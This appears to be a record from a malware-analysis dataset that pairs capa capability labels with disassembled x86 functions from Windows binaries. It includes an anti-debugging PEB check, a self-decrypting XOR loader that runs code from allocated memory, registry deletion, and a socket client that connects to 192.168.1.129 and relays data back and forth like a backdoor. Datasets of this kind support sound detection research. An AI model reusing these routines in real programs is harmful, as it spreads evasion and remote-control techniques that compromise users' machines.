joyce8/EMBER2024-capa huggingface dataset:
Function at 0x829141
Capabilities:
Access peb ldr_data
Check for peb beingdebugged flag
Parse pe header

Disassembly:
push eax
jmp 0x82801a
lea esp, [esp + 0x1c]
popal
push sp
pushal
lea esp, [esp + 3]
pop word [esp + 0x15]
pop dword [esp + 0x10]
jmp 0x828426
call 0x82800d
jmp 0x828377
push eax
pushal
mov dl, 0xca
mov eax, dword [esp]
pushal
pop cx
lea eax, [esp - 0x5ab2]
mov byte [esp + 4], bh
lea esp, [esp + 2]
jmp 0x827fed
int3
call 0x82806c
jmp 0x829065
pop eax
sub eax, 0xbe93177f
add eax, 0xbe92d683
xchg dword [esp + 4], eax
popfd
push dword fs:[0]
mov dword fs:[0], esp
pushal
mov edx, esi
mov dh, byte [esp]
xchg edx, ebx
mov eax, ecx
setle bl
xchg al, ch
bswap dx
push ax
xchg ebx, edx
not ax
mov eax, ebx
lea esp, [esp + 1]
not eax
mov edx, ecx
lea esp, [esp + 1]
popal
pushfd
pop word [esp]
push word [esp]
push esp
mov dword [esp + 2], ebp
mov dword [esp], edi
lea esp, [esp + 7]
lea esp, [esp + 1]
jmp 0x82804c
mov dword [esp], ecx
mov dword [esp + 0x14], ebx
lea esp, [esp + 1]
lea esp, [esp + 0x18]
pushfd
jmp 0x828008
movzx ebx, word [eax + 0x3c]
add ebx, eax
cmp word [ebx], 0x4550
je 0x824e53
jmp 0x829074
pop eax
xor ax, ax
cmp word [eax], 0x5a4d
je 0x828fe4
sub eax, 0x10000
jmp 0x829069
call 0x829141
dec esi
outsd dx, dword [esi]
outsd dx, dword [esi]
bound edi, qword [ecx + 0x50]
jb 0x8291a0
je 0x829198
arpl word [eax + 0x53], si
inc ebp
and byte [ecx], dh
aaa
xor byte cs:[esi], ch
xor byte [eax], al
lea esp, [esp + 4]
push di
push dx
push word [esp]
push dword [esp + 2]
pop dword [esp]
pop word [esp + 1]
mov dword [esp], eax
push ebx
pushfd
pushfd
pop dword [esp + 2]
mov byte [esp + 1], cl
pop word [esp + 3]
lea esp, [esp + 2]
mov dword [esp], ecx
push ebp
mov dword [esp], edi
lea esp, [esp + 2]
push word [esp + 1]
mov word [esp + 1], ax
lea esp, [esp + 2]
push word [esp + 1]
push dword [esp]
mov dword [esp + 3], esp
mov dword [esp + 4], edx
pushal
add al, 0x60
push dword [esp + 0xa]
pop word [esp + 0x1f]
inc esp
and al, 0x1f
pop word [esp + 0x1c]
push word [esp + 0x16]
mov word [esp + 0x1b], ax
lea esp, [esp + 6]
pop word [esp + 5]
lea esp, [esp + 6]
mov dword [esp], eax
mov dword [esp + 0x14], ebx
pushal
mov dword [esp + 0x13], esp
push word [esp + 6]
push dword [esp + 0x11]
push dword [esp + 0xb]
lea esp, [esp + 2]
mov dword [esp + 0x38], esp
pushal
mov byte [esp + 0x1c], cl
mov dword [esp + 0xc], ebx
mov dword [esp + 9], ebx
pop word [esp + 1]
mov dword [esp + 0x14], edx
push bx
pop word [esp + 0xb]
pop word [esp + 0xe]
mov word [esp + 0x12], bp
mov byte [esp + 0xa], bl
mov byte [esp + 0xf], ah
lea esp, [esp + 0xc]
mov dword [esp + 0x44], ebp
push bp
mov word [esp], cx
pushfd
pop word [esp + 1]
lea esp, [esp + 3]
lea esp, [esp]
lea esp, [esp]
lea esp, [esp + 1]
mov dword [esp + 0x40], esi
push ebx
pushfd
mov byte [esp + 6], dh
mov word [esp + 3], si
mov dword [esp + 3], esp
push dword [esp + 7]
mov dword [esp + 0x48], edi
lea esp, [esp + 0x48]
mov eax, dword fs:[0x30]
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0x1c]
mov eax, dword [eax]
mov eax, dword [eax + 8]
push eax
jmp 0x828067
Function at 0x403b2f
Capabilities:
Delete registry value

Disassembly:
push ebp
mov ebp, esp
push ecx
push ecx
push ebx
push edi
push dword [ebp + 8]
call fcn.00403d35
push 0x5b
push eax
mov dword [ebp - 8], eax
call fcn.00407830
mov edi, eax
xor ebx, ebx
add esp, 0xc
cmp edi, ebx
je 0x403bf0
push esi
inc edi
push 0x5d
push edi
call fcn.00407830
mov esi, eax
pop ecx
pop ecx
cmp esi, ebx
je 0x403bef
mov byte [esi], bl
inc esi
push 0x3d
push esi
call fcn.00407830
pop ecx
pop ecx
cmp eax, ebx
je 0x403bef
mov byte [eax], bl
lea eax, [ebp - 4]
push eax
push 0x20006
push ebx
push edi
push dword [section..data]
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
je 0x403bb4
push ebx
push str.Could_not_open_key
push dword [ebp + 8]
call dword [sym.imp.USER32.dll_GetFocus]
push eax
call dword [sym.imp.USER32.dll_MessageBoxA]
jmp 0x403be6
push esi
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegDeleteValueA]
cmp eax, ebx
je 0x403bdd
cmp eax, 2
je 0x403bdd
push ebx
push str.Could_not_delete_value
push dword [ebp + 8]
call dword [sym.imp.USER32.dll_GetFocus]
push eax
call dword [sym.imp.USER32.dll_MessageBoxA]
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
push dword [ebp - 8]
call fcn.00403d35
pop ecx
pop esi
pop edi
pop ebx
leave
ret

Function at 0x403d35
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x20
pushal
call 0x403d44
pop dword [ebp - 0x10]
mov eax, 0x4f96e11c
sub eax, 0x4f56a3d8
sub dword [ebp - 0x10], eax
mov dword [ebp - 0x20], 0xfc2f3d20
sub dword [ebp - 0x20], 0xaddcf7d5
mov dword [ebp - 0x1c], 0xce4c3fa3
add dword [ebp - 0x1c], 0x63e70ca2
mov dword [ebp - 0x18], 0x9b8acf24
add dword [ebp - 0x18], 0xb0c1750a
mov dword [ebp - 0x14], 0x7cd373c3
add dword [ebp - 0x14], 0x832c8c3d
lea eax, [ebp - 0x20]
push eax
mov eax, 0x9e4c8ea7
sub eax, 0x9e0a5e33
add eax, dword [ebp - 0x10]
call dword [eax]
mov dword [ebp - 0x20], 0x7132cb9c
sub dword [ebp - 0x20], 0xfcc06246
mov dword [ebp - 0x1c], 0x71f31e00
sub dword [ebp - 0x1c], 0x3086bc8b
mov dword [ebp - 0x18], 0x3eae0532
add dword [ebp - 0x18], 0x24c1673a
mov dword [ebp - 0x14], 0x5e848e26
sub dword [ebp - 0x14], 0x5e848e26
lea ebx, [ebp - 0x20]
push ebx
push eax
mov eax, sym.imp.kernel32.dll_GetProcAddress
add eax, dword [ebp - 0x10]
call dword [eax]
push 0x40
push 0x1000
push 0x418eb
push 0
call eax
mov ecx, 0x4111e3e2
sub ecx, 0x41118d29
xor edi, edi
add edi, eax
mov esi, 0x434400
add esi, dword [ebp - 0x10]
mov ebx, 0x1fb04ca6
sub ebx, 0xd8e39280
add dword [ebp - 8], 0x88f720ec
mov edx, dword [esi]
add dword [ebp - 8], ecx
xor edx, ebx
add dword [ebp - 8], 0xf1de12d8
mov dword [edi], edx
add edi, 0x533ed27d
add edi, 0xacc12d87
add esi, 4
loop 0x403e5d
add eax, 0x60563604
add eax, 0x9fab17b3
mov ebx, eax
add eax, 0x77d754b
sub eax, 0x77d7546
mov ecx, 0x400000
add ecx, dword [ebp - 0x10]
call ebx
leave
ret

Function at 0x407e15
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x42e180]
jne 0x407e1f
repz ret
jmp fcn.0040bc0c
Function at 0x401390
Capabilities:
Act as tcp client
Connect socket
Connect tcp socket
Connect udp socket
Create tcp socket
Create udp socket
Receive data
Receive data on socket
Send data
Send data on socket

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x258
and esp, 0xfffffff0
mov eax, 0
add eax, 0xf
add eax, 0xf
shr eax, 4
shl eax, 4
mov dword [ebp - 0x23c], eax
mov eax, dword [ebp - 0x23c]
call fcn.0040d290
call sym.___main
mov dword [esp + 8], 6
mov dword [esp + 4], 1
mov dword [esp], 2
call sub.WS2_32.DLL_socket
sub esp, 0xc
mov dword [ebp - 0xc], eax
cmp dword [ebp - 0xc], 0xffffffff
jne 0x401406
mov dword [esp], str._Failed_socket____n
call sym._printf
mov dword [ebp - 0x230], 0
jmp 0x401520
mov word [ebp - 0x28], 2
mov dword [esp], 0x11d7
call sub.WS2_32.DLL_htons
sub esp, 4
mov word [ebp - 0x26], ax
mov dword [esp], str.192.168.1.129
call sub.WS2_32.DLL_inet_addr
sub esp, 4
mov dword [ebp - 0x24], eax
mov dword [esp + 8], 0x10
lea eax, [ebp - 0x28]
mov dword [esp + 4], eax
mov eax, dword [ebp - 0xc]
mov dword [esp], eax
call sub.WS2_32.DLL_connect
sub esp, 0xc
cmp eax, 0xffffffff
jne 0x40146e
mov dword [esp], str._Failed_connect____n
call sym._printf
mov dword [ebp - 0x230], 0
jmp 0x401520
mov dword [esp + 0xc], 0
mov dword [esp + 8], 0x100
lea eax, [ebp - 0x128]
mov dword [esp + 4], eax
mov eax, dword [ebp - 0xc]
mov dword [esp], eax
call sub.WS2_32.DLL_recv
sub esp, 0x10
mov dword [ebp - 0x22c], eax
cmp dword [ebp - 0x22c], 0
jle 0x4014cc
lea eax, [ebp - 8]
add eax, dword [ebp - 0x22c]
sub eax, 0x120
mov byte [eax], 0
lea eax, [ebp - 0x128]
mov dword [esp + 4], eax
mov dword [esp], 0x440035
call sym._printf
lea eax, [ebp - 0x228]
mov dword [esp + 4], eax
mov dword [esp], 0x443470
call fcn.0043d0b0
mov byte [ebp - 0x129], 0
lea eax, [ebp - 0x228]
mov dword [esp], eax
call sym._strlen
mov dword [esp + 0xc], 0
mov dword [esp + 8], eax
lea eax, [ebp - 0x228]
mov dword [esp + 4], eax
mov eax, dword [ebp - 0xc]
mov dword [esp], eax
call sub.WS2_32.DLL_send
sub esp, 0x10
jmp 0x40146e
mov eax, dword [ebp - 0x230]
leave
ret

Function at 0x409a00
Capabilities:
Allocate thread local storage

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
call dword [sym.imp.KERNEL32.dll_TlsAlloc]
cmp eax, 0xffffffff
je 0x409a36
mov dword [0x447580], eax
mov edx, sym.get_globals_dtor_void_
mov dword [esp + 4], edx
mov dword [esp], eax
call sym.___mingwthr_key_dtor
test eax, eax
sete al
movzx eax, al
mov dword [0x43f040], eax
leave
ret
call dword [sym.imp.KERNEL32.dll_GetLastError]
test eax, eax
sete al
movzx eax, al
mov dword [0x43f040], eax
leave
ret
Function at 0x409b20
Capabilities:
Get thread local storage value
Set thread local storage value

Disassembly:
push ebp
mov ebp, esp
lea eax, [ebp - 0xc]
sub esp, 0x68
mov dword [ebp - 0x20], eax
lea eax, [ebp - 0x40]
mov dword [ebp - 0xc], ebx
mov dword [ebp - 8], esi
mov dword [ebp - 4], edi
mov dword [ebp - 0x28], sym.___gxx_personality_sj0
mov dword [ebp - 0x24], 0x43e544
mov dword [ebp - 0x1c], 0x409be0
mov dword [ebp - 0x18], esp
mov dword [esp], eax
call sym.__Unwind_SjLj_Register
cmp dword [0x43f040], 0
mov dword [ebp - 0x44], 0x447590
je 0x409bc0
jl 0x409c00
mov dword [ebp - 0x3c], 1
mov eax, dword [0x447580]
mov dword [ebp - 0x4c], eax
mov eax, dword [sym.imp.KERNEL32.dll_GetLastError]
call eax
mov dword [ebp - 0x50], eax
mov eax, dword [ebp - 0x4c]
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_TlsGetValue]
mov dword [ebp - 0x54], eax
mov eax, dword [ebp - 0x50]
sub esp, 4
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_SetLastError]
mov eax, dword [ebp - 0x54]
sub esp, 4
test eax, eax
mov dword [ebp - 0x48], eax
je 0x409ca3
mov eax, dword [ebp - 0x48]
mov dword [ebp - 0x44], eax
lea esi, [esi]
lea eax, [ebp - 0x40]
mov dword [esp], eax
call sym.__Unwind_SjLj_Unregister
mov eax, dword [ebp - 0x44]
mov ebx, dword [ebp - 0xc]
mov esi, dword [ebp - 8]
mov edi, dword [ebp - 4]
mov esp, ebp
pop ebp
ret
mov edx, dword [0x447b60]
mov eax, 0xffffffff
test edx, edx
je 0x409c1a
mov eax, dword [0x43f044]
test eax, eax
je 0x409c5a
xor eax, eax
test eax, eax
jne 0x409c50
mov edi, dword [0x43f040]
test edi, edi
js 0x409c50
mov dword [ebp - 0x44], 0x447590
mov ebx, dword [0x43f040]
test ebx, ebx
je 0x409bc0
jmp 0x409b6e
xor esi, esi
mov dword [0x43f040], esi
jmp 0x409c28
mov dword [esp], 0x43f048
mov dword [ebp - 0x3c], 1
call sub.KERNEL32.dll_InterlockedIncrement
sub esp, 4
test eax, eax
je 0x409ce1
mov eax, dword [0x43f044]
test eax, eax
jne 0x409c18
mov dword [esp], 0
mov eax, dword [sym.imp.KERNEL32.dll_Sleep]
mov dword [ebp - 0x3c], 1
call eax
sub esp, 4
mov eax, dword [0x43f044]
test eax, eax
je 0x409c7d
jmp 0x409c18
mov dword [esp], 8
call sym._malloc
mov dword [ebp - 0x48], eax
test eax, eax
je 0x409cd5
mov dword [esp + 4], eax
mov eax, dword [0x447580]
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_TlsSetValue]
sub esp, 8
xor edx, edx
test eax, eax
je 0x409d0a
test edx, edx
je 0x409cf5
mov dword [ebp - 0x3c], 1
call method.std.terminate__
call sym.get_globals_init__
mov eax, 1
mov dword [0x43f044], eax
jmp 0x409c18
mov eax, dword [ebp - 0x48]
mov dword [eax], 0
mov dword [eax + 4], 0
jmp 0x409bb6
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
jmp 0x409cd1
Function at 0x40b2a0
Capabilities:
Read file on windows

Disassembly:
push ebp
mov ebp, esp
push edi
push esi
push ebx
sub esp, 0x1c
mov eax, dword [ebp + 8]
mov edi, dword [ebp + 0xc]
mov esi, dword [ebp + 0x10]
mov dword [ebp - 0x10], eax
lea esi, [esi]
lea edi, [edi]
mov eax, dword [ebp - 0x10]
mov dword [esp], eax
call fcn.0040b280
mov dword [esp], eax
mov dword [esp + 8], esi
mov dword [esp + 4], edi
call sym._read
cmp eax, 0xffffffff
mov ebx, eax
jne 0x40b2ec
call sym.__errno
cmp dword [eax], 4
je 0x40b2c0
add esp, 0x1c
mov eax, ebx
pop ebx
pop esi
pop edi
pop ebp
ret

Function at 0x40d2c0
Capabilities:
Allocate thread local storage

Disassembly:
push ebp
mov ebp, esp
push ebx
sub esp, 0x14
mov ebx, dword [0x447bb0]
call dword [sym.imp.KERNEL32.dll_TlsAlloc]
cmp eax, 0xffffffff
je 0x40d300
mov dword [ebx + 0x2c], eax
xor eax, eax
mov dword [esp + 4], eax
mov eax, dword [ebx + 0x2c]
mov dword [esp], eax
call sym.___mingwthr_key_dtor
test eax, eax
sete al
movzx eax, al
mov dword [ebx + 0x30], eax
add esp, 0x14
pop ebx
pop ebp
ret
call dword [sym.imp.KERNEL32.dll_GetLastError]
test eax, eax
sete al
movzx eax, al
mov dword [ebx + 0x30], eax
add esp, 0x14
pop ebx
pop ebp
ret
Function at 0x40d6b0
Capabilities:
Get thread local storage value
Set thread local storage value

Disassembly:
push ebp
mov ebp, esp
push edi
push esi
push ebx
sub esp, 0x2c
mov eax, dword [0x447bb0]
mov edi, dword [ebp + 8]
test eax, eax
je 0x40d78c
mov ecx, dword [eax + 0x30]
test ecx, ecx
js 0x40d7a1
mov edx, dword [eax + 0x30]
test edx, edx
jne 0x40d760
mov eax, dword [eax + 0x28]
mov dword [ebp - 0x10], eax
lea ebx, [ebp - 0x14]
mov dword [ebp - 0x14], eax
jmp 0x40d6f8
mov eax, dword [ebp - 0x14]
mov eax, dword [eax]
mov dword [ebp - 0x14], eax
xor ecx, ecx
test eax, eax
mov edx, 5
je 0x40d708
mov ecx, dword [eax + 0x18]
xor edx, edx
cmp edx, 5
je 0x40d753
test edx, edx
jne 0x40d746
test ecx, ecx
je 0x40d6f0
mov dword [esp + 0x14], ebx
mov dword [esp + 0x10], edi
mov eax, dword [edi]
mov edx, dword [edi + 4]
mov dword [esp], 1
mov dword [esp + 8], eax
mov eax, 1
mov dword [esp + 0xc], edx
mov dword [esp + 4], eax
call ecx
cmp eax, 6
je 0x40d7b0
cmp eax, 8
je 0x40d6f0
mov eax, 3
lea esp, [ebp - 0xc]
pop ebx
pop esi
pop edi
pop ebp
ret
lea esp, [ebp - 0xc]
mov eax, 5
pop ebx
pop esi
pop edi
pop ebp
ret
mov ebx, dword [eax + 0x2c]
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [esp], ebx
mov esi, eax
call dword [sym.imp.KERNEL32.dll_TlsGetValue]
sub esp, 4
mov ebx, eax
mov dword [esp], esi
call dword [sym.imp.KERNEL32.dll_SetLastError]
mov eax, ebx
sub esp, 4
jmp 0x40d6e2
call sym.___w32_sharedptr_initialize
mov eax, dword [0x447bb0]
mov ecx, dword [eax + 0x30]
test ecx, ecx
jns 0x40d6d4
call sym._fc_key_init_once
mov eax, dword [0x447bb0]
jmp 0x40d6d4
mov dword [edi + 0xc], 0
mov eax, dword [ebp - 0x14]
mov edx, ebx
mov dword [edi + 0x10], eax
mov eax, dword [ebp - 0x10]
mov dword [ebp - 0x14], eax
mov eax, edi
call sym.__Unwind_RaiseException_Phase2
cmp eax, 7
jne 0x40d74b
mov eax, dword [0x447bb0]
mov ebx, dword [ebp - 0x14]
test eax, eax
je 0x40d803
mov edi, dword [eax + 0x30]
test edi, edi
js 0x40d82e
mov esi, dword [eax + 0x30]
test esi, esi
jne 0x40d80f
mov dword [eax + 0x28], ebx
mov eax, dword [ebp - 0x14]
lea edx, [eax + 0x20]
mov ecx, dword [edx + 4]
mov ebp, dword [eax + 0x20]
mov esp, dword [edx + 8]
jmp ecx
call sym.___w32_sharedptr_initialize
mov eax, dword [0x447bb0]
jmp 0x40d7e1
mov eax, dword [eax + 0x2c]
mov dword [esp + 4], ebx
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_TlsSetValue]
sub esp, 8
test eax, eax
jne 0x40d7f2
call dword [sym.imp.KERNEL32.dll_GetLastError]
jmp 0x40d7f2
call sym._fc_key_init_once
mov eax, dword [0x447bb0]
jmp 0x40d7e8
Function at 0x40d930
Capabilities:
Get thread local storage value
Set thread local storage value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x28
mov dword [ebp - 4], edi
mov edi, dword [ebp + 8]
mov dword [ebp - 0xc], ebx
mov dword [ebp - 8], esi
mov eax, dword [0x447bb0]
test eax, eax
je 0x40d990
mov esi, dword [eax + 0x30]
test esi, esi
js 0x40d9b0
mov ebx, dword [eax + 0x30]
test ebx, ebx
jne 0x40d9d0
mov eax, dword [eax + 0x28]
lea edx, [ebp - 0x14]
mov dword [ebp - 0x10], eax
mov dword [ebp - 0x14], eax
mov eax, dword [ebp + 0xc]
mov dword [edi + 0xc], eax
mov eax, dword [ebp + 0x10]
mov dword [edi + 0x10], eax
mov eax, edi
call sym.__Unwind_ForcedUnwind_Phase2
cmp eax, 7
je 0x40da20
mov ebx, dword [ebp - 0xc]
mov esi, dword [ebp - 8]
mov edi, dword [ebp - 4]
mov esp, ebp
pop ebp
ret
call sym.___w32_sharedptr_initialize
mov eax, dword [0x447bb0]
mov esi, dword [eax + 0x30]
test esi, esi
jns 0x40d952
jmp 0x40d9b0
call sym._fc_key_init_once
mov eax, dword [0x447bb0]
mov ebx, dword [eax + 0x30]
test ebx, ebx
je 0x40d959
jmp 0x40d9d0
mov ebx, dword [eax + 0x2c]
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [esp], ebx
mov esi, eax
call dword [sym.imp.KERNEL32.dll_TlsGetValue]
sub esp, 4
mov ebx, eax
mov dword [esp], esi
call dword [sym.imp.KERNEL32.dll_SetLastError]
mov eax, ebx
lea edx, [ebp - 0x14]
mov dword [ebp - 0x10], eax
mov dword [ebp - 0x14], eax
mov eax, dword [ebp + 0xc]
sub esp, 4
mov dword [edi + 0xc], eax
mov eax, dword [ebp + 0x10]
mov dword [edi + 0x10], eax
mov eax, edi
call sym.__Unwind_ForcedUnwind_Phase2
cmp eax, 7
jne 0x40d981
lea esi, [esi]
mov eax, dword [0x447bb0]
mov ebx, dword [ebp - 0x14]
test eax, eax
je 0x40da6d
mov ecx, dword [eax + 0x30]
test ecx, ecx
js 0x40da79
mov edx, dword [eax + 0x30]
test edx, edx
jne 0x40da4e
mov dword [eax + 0x28], ebx
mov eax, dword [ebp - 0x14]
lea edx, [eax + 0x20]
mov ecx, dword [edx + 4]
mov ebp, dword [eax + 0x20]
mov esp, dword [edx + 8]
jmp ecx
mov eax, dword [eax + 0x2c]
mov dword [esp + 4], ebx
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_TlsSetValue]
sub esp, 8
test eax, eax
jne 0x40da3d
call dword [sym.imp.KERNEL32.dll_GetLastError]
jmp 0x40da3d
call sym.___w32_sharedptr_initialize
mov eax, dword [0x447bb0]
jmp 0x40da2c
call sym._fc_key_init_once
mov eax, dword [0x447bb0]
jmp 0x40da33
Function at 0x40da90
Capabilities:
Get thread local storage value
Set thread local storage value

Disassembly:
push ebp
mov ebp, esp
push edi
push esi
push ebx
sub esp, 0x1c
mov eax, dword [0x447bb0]
mov edi, dword [ebp + 8]
test eax, eax
je 0x40db24
mov esi, dword [eax + 0x30]
test esi, esi
js 0x40db40
mov ebx, dword [eax + 0x30]
test ebx, ebx
jne 0x40db60
mov eax, dword [eax + 0x28]
mov dword [ebp - 0x10], eax
mov ecx, dword [edi + 0xc]
mov dword [ebp - 0x14], eax
test ecx, ecx
jne 0x40db18
lea edx, [ebp - 0x14]
mov eax, edi
call sym.__Unwind_RaiseException_Phase2
cmp eax, 7
jne 0x40dbdf
mov eax, dword [0x447bb0]
mov ebx, dword [ebp - 0x14]
test eax, eax
je 0x40dbb6
mov edx, dword [eax + 0x30]
test edx, edx
js 0x40dbd0
mov edi, dword [eax + 0x30]
test edi, edi
jne 0x40db90
mov dword [eax + 0x28], ebx
mov eax, dword [ebp - 0x14]
lea edx, [eax + 0x20]
mov ecx, dword [edx + 4]
mov ebp, dword [eax + 0x20]
mov esp, dword [edx + 8]
jmp ecx
lea edx, [ebp - 0x14]
mov eax, edi
call sym.__Unwind_ForcedUnwind_Phase2
jmp 0x40dad5
call sym.___w32_sharedptr_initialize
mov eax, dword [0x447bb0]
mov esi, dword [eax + 0x30]
test esi, esi
jns 0x40dab0
lea esi, [esi]
call sym._fc_key_init_once
mov eax, dword [0x447bb0]
mov ebx, dword [eax + 0x30]
test ebx, ebx
je 0x40dabb
lea esi, [esi]
lea edi, [edi]
mov ebx, dword [eax + 0x2c]
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [esp], ebx
mov esi, eax
call dword [sym.imp.KERNEL32.dll_TlsGetValue]
sub esp, 4
mov ebx, eax
mov dword [esp], esi
call dword [sym.imp.KERNEL32.dll_SetLastError]
mov eax, ebx
sub esp, 4
jmp 0x40dabe
mov eax, dword [eax + 0x2c]
mov dword [esp + 4], ebx
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_TlsSetValue]
sub esp, 8
test eax, eax
jne 0x40db07
call dword [sym.imp.KERNEL32.dll_GetLastError]
jmp 0x40db07
call sym.___w32_sharedptr_initialize
mov eax, dword [0x447bb0]
mov edx, dword [eax + 0x30]
test edx, edx
jns 0x40daf9
nop
lea esi, [esi]
call sym._fc_key_init_once
mov eax, dword [0x447bb0]
jmp 0x40daf9
call sym._abort
lea esi, [esi]
lea edi, [edi]
Function at 0x40dbf0
Capabilities:
Get thread local storage value
Set thread local storage value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x28
mov dword [ebp - 4], edi
mov edi, dword [ebp + 8]
mov dword [ebp - 0xc], ebx
mov dword [ebp - 8], esi
mov esi, dword [edi + 0xc]
test esi, esi
je 0x40dc82
mov eax, dword [0x447bb0]
test eax, eax
je 0x40dc76
mov ebx, dword [eax + 0x30]
test ebx, ebx
js 0x40dcf1
mov ecx, dword [eax + 0x30]
test ecx, ecx
jne 0x40dc97
mov eax, dword [eax + 0x28]
mov dword [ebp - 0x10], eax
lea edx, [ebp - 0x14]
mov dword [ebp - 0x14], eax
mov eax, edi
call sym.__Unwind_ForcedUnwind_Phase2
cmp eax, 7
jne 0x40dd0f
mov eax, dword [0x447bb0]
mov ebx, dword [ebp - 0x14]
test eax, eax
je 0x40dce2
mov edx, dword [eax + 0x30]
test edx, edx
js 0x40dd00
mov edi, dword [eax + 0x30]
test edi, edi
jne 0x40dcc3
mov dword [eax + 0x28], ebx
mov eax, dword [ebp - 0x14]
lea edx, [eax + 0x20]
mov ecx, dword [edx + 4]
mov ebp, dword [eax + 0x20]
mov esp, dword [edx + 8]
jmp ecx
call sym.___w32_sharedptr_initialize
mov eax, dword [0x447bb0]
jmp 0x40dc12
mov dword [esp], edi
call sym.__Unwind_SjLj_RaiseException
mov ebx, dword [ebp - 0xc]
mov esi, dword [ebp - 8]
mov edi, dword [ebp - 4]
mov esp, ebp
pop ebp
ret
mov ebx, dword [eax + 0x2c]
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [esp], ebx
mov esi, eax
call dword [sym.imp.KERNEL32.dll_TlsGetValue]
sub esp, 4
mov ebx, eax
mov dword [esp], esi
call dword [sym.imp.KERNEL32.dll_SetLastError]
mov eax, ebx
sub esp, 4
jmp 0x40dc27
mov eax, dword [eax + 0x2c]
mov dword [esp + 4], ebx
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_TlsSetValue]
sub esp, 8
test eax, eax
jne 0x40dc65
call dword [sym.imp.KERNEL32.dll_GetLastError]
jmp 0x40dc65
call sym.___w32_sharedptr_initialize
mov eax, dword [0x447bb0]
jmp 0x40dc50
call sym._fc_key_init_once
mov eax, dword [0x447bb0]
jmp 0x40dc1d
call sym._fc_key_init_once
mov eax, dword [0x447bb0]
jmp 0x40dc5b
call sym._abort
lea esi, [esi]
lea edi, [edi]

Function at 0x40dec0
Capabilities:
Allocate thread local storage

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
call dword [sym.imp.KERNEL32.dll_TlsAlloc]
cmp eax, 0xffffffff
mov edx, eax
je 0x40def0
mov eax, dword [ebp + 8]
mov dword [eax], edx
mov eax, dword [ebp + 0xc]
mov dword [esp], edx
mov dword [esp + 4], eax
call sym.___mingwthr_key_dtor
leave
ret
call dword [sym.imp.KERNEL32.dll_GetLastError]
leave
ret
Function at 0x410bf0
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
pop ebp
jmp sym.___do_sjlj_init

Function at 0x4115c8
Capabilities:
Read file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x18
mov dword [ebp - 8], ebx
mov ebx, dword [ebp + 8]
mov dword [ebp - 4], esi
mov esi, dword [ebp + 0xc]
mov eax, dword [ebx + 0x20]
mov dword [esp + 0xc], eax
mov eax, dword [ebp + 0x10]
mov dword [esp], esi
mov dword [esp + 8], eax
mov eax, 1
mov dword [esp + 4], eax
call sym._fread
test eax, eax
mov edx, eax
jle 0x411618
movzx eax, byte [esi + eax - 1]
mov dword [ebx + 0x24], eax
mov ebx, dword [ebp - 8]
mov eax, edx
mov esi, dword [ebp - 4]
mov esp, ebp
pop ebp
ret
mov dword [ebx + 0x24], 0xffffffff
mov eax, edx
mov ebx, dword [ebp - 8]
mov esi, dword [ebp - 4]
mov esp, ebp
pop ebp
ret